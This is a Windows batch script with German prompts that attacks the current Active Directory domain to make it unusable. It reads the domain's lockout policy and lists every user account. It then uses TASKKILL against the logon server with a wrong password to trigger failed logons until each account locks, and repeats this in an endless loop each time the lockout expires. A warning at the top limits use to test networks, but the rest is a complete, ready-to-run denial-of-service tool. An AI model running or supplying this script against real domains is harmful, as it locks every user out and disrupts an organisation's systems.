@ECHO OFF

REM warn the user and give them the chance not to run the script
CLS
COLOR CE
ECHO.
ECHO WARNUNG:
ECHO Dieses Skript versucht, die Domaene %userdomain%
ECHO anzugreifen und funktionsunfaehig zu machen! 
ECHO Bitte verwenden Sie das Skript nur in Test- und Demo-Netzwerken!
ECHO Die Verwendung geschieht auf Ihre eigene Gefahr!
ECHO.
ECHO Wollen Sie das Skript jetzt ausfuehren?
CHOICE /N /M "Druecken Sie J fuer Ja oder N fuer Nein."
IF NOT %ERRORLEVEL%==1 (
	COLOR
	GOTO :EOF
	)

COLOR
REM The user chose to run the script. So let's go!

REM *** Step 1: Get account lockout data ***

REM Retrieve lockout threshold and store it in %LockTH%
FOR /F "usebackq tokens=2" %%i IN (`NET ACCOUNTS /DOMAIN^|FIND /I "Sperrschwelle"`) DO (
	@SET LockTH=%%i)
)
REM If the domain never locks, end the script
IF "%LockTH%"=="Nie" (
	ECHO Konten werden nicht gesperrt. Diese Domaene ist so nicht angreifbar.
	GOTO :eof
	)

REM Retrieve the lockout duration and store it in %LockDur%
FOR /F "usebackq tokens=3" %%i IN (`NET ACCOUNTS /DOMAIN^|FIND /I "Sperrdauer"`) DO (
	@SET LockDur=%%i)
)

ECHO Konten werden nach %LockTH% Versuchen %LockDur% Minuten lang gesperrt.

REM *** Step 2: Get domain user list ***
IF EXIST hurz.txt DEL hurz.txt

REM Reformat "net user" user list to one name per line
FOR /F "usebackq skip=6 tokens=1,2,3" %%i IN (`NET USER /DOMAIN^|FIND /I /V "Der Befehl"`) DO (
	@echo %%i&@echo %%j&@echo %%k
)>>hurz.txt

REM Count number of valid lines
FOR /F "usebackq tokens=3" %%i IN (`FIND /C /V /I "ECHO ist" hurz.txt`) DO (
	SET NumUser=%%i
	)
ECHO %NumUser% Benutzerkonten gefunden.

REM *** Step 3: Try to log on as each user with a wrong password often enough
:LockoutLoop
FOR /F "usebackq" %%i IN (`TYPE hurz.txt^|FIND /I /V "ECHO ist"`) DO (
	CALL :LogonTask %%i %LockTH%
	)
	
REM Wait for the unlock, then run again
IF NOT "%LockDur%"=="Nie" (
	SET /A NumSec="LockDur*60"
	ECHO Warte %NumSec% Sekunden, greife dann neu an ...
	PING -n %NumSec% 127.0.0.1 > NUL
	GOTO :LockoutLoop
	)

GOTO :eof

:LogonTask
REM Use TASKKILL to generate a logon attempt with the specified user on the DC
FOR /L %%m IN (1,1,%2) DO (
	ECHO Benutzer %1, Versuch %%m
	TASKKILL /S %LOGONSERVER% /U %USERDOMAIN%\%1 /P a /IM NoProcess.exe
	)
	
